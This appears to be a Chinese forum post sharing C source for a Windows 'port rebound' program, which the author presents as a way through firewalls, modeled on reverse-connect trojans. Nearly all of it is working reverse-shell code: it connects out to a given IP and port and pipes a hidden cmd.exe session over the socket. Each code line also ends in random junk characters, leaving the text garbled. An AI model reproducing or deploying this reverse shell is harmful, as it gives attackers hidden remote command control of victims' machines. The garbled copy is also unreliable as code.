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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~srmlBi6  
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/* ============================== \{G6!dV|S  
Rebound port in Windows NT ^gkyi/z  
By wind,2006/7 8c__ U<  
===============================*/ 2Pi}<pG~  
#include 5jy>)WqK  
#include QsDa b4  
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#pragma comment(lib,"wsock32.lib") BD=;4SLT  
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void OutputShell(); %<DRrKt  
SOCKET sClient; Z#>k:v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; AGCqJ8`|T  
RPaB4>  
void main(int argc,char **argv) m^T$H_*;  
{ 6Om-[^  
WSADATA stWsaData; Cj5M  
int nRet; ~v,LFIT  
SOCKADDR_IN stSaiClient,stSaiServer; )OH!<jW  
i>,5b1x~  
if(argc != 3) RLulz|jC  
{ A1%V<im@Z  
printf("Useage:\n\rRebound DestIP DestPort\n"); kf-ZE$S4  
return; N4fuV?E`  
} EN J]  
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WSAStartup(MAKEWORD(2,2),&stWsaData); HE+VanY![  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p$[*GXR4  
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stSaiClient.sin_family = AF_INET; +-ieaF  
stSaiClient.sin_port = htons(0); [(ty{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Di-"y,[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #wM0p:<  
{ .D4 D!!  
printf("Bind Socket Failed!\n"); }(M<sEK~  
return; ^5,ASU  
} -+Q,xxu  
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stSaiServer.sin_family = AF_INET; R"O9~s6N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kmov(V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G0]q(.sOy  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~01r c  
{ ~ xf9 ml  
printf("Connect Error!"); u0XGtu$4  
return; <,rjU*"  
} {b/AOR o  
OutputShell(); Z"!C  
} M"p$9t  
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void OutputShell() z+-k4  
{ Z[({; WtF  
char szBuff[1024]; 7)_0jp~2  
SECURITY_ATTRIBUTES stSecurityAttributes; }E/L:  
OSVERSIONINFO stOsversionInfo; e@8I%%V,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RE"}+D  
STARTUPINFO stStartupInfo; gscs B4<  
char *szShell; ZklidHL');  
PROCESS_INFORMATION stProcessInformation; T_Y6AII  
unsigned long lBytesRead; =C#,aoa!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j*xens$)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &Puu Xz<  
stSecurityAttributes.lpSecurityDescriptor = 0; 2EK\QWo  
stSecurityAttributes.bInheritHandle = TRUE; ^x/0*t5};z  
8~2A"<{ub  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z>y,}#D?C  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vx0V6{JX  
n:<avl@o<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {v`wQM[  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CSsb~/Oxu  
stStartupInfo.wShowWindow = SW_HIDE; t 8M3VGN  
stStartupInfo.hStdInput = hReadPipe; `b7o  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8o{ SU6pH  
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GetVersionEx(&stOsversionInfo); w$B7..r  
;[9cj&7C<  
switch(stOsversionInfo.dwPlatformId) ^?J:eB!  
{ 1km=9[;w'  
case 1: ;H\,w /E9  
szShell = "command.com"; #d|.BxH  
break; 1^Caz-  
default: v<2+yZ M  
szShell = "cmd.exe"; o9eK7*D  
break; K}Z'!+<U  
} 'Ob5l:  
R9#Z= f,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r`7`f xe  
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send(sClient,szMsg,77,0); Rwy:.)7B$q  
while(1) HE( U0<9c  
{ CWDo_g $  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B2Orw8F  
if(lBytesRead) >eRbasshEI  
{ sPZa|AKHb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j:sac*6m  
send(sClient,szBuff,lBytesRead,0); ;w6\r!O,  
} u YH{4%  
else uox;PDK  
{ Y0eu^p)  
lBytesRead=recv(sClient,szBuff,1024,0); }'X}!_9w>  
if(lBytesRead<=0) break; c|O5Vp}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3}T&|@*  
} -nd6hx  
} <N`rcKE%~P  
j5/H#_ .  
return; 75v*&-  
}
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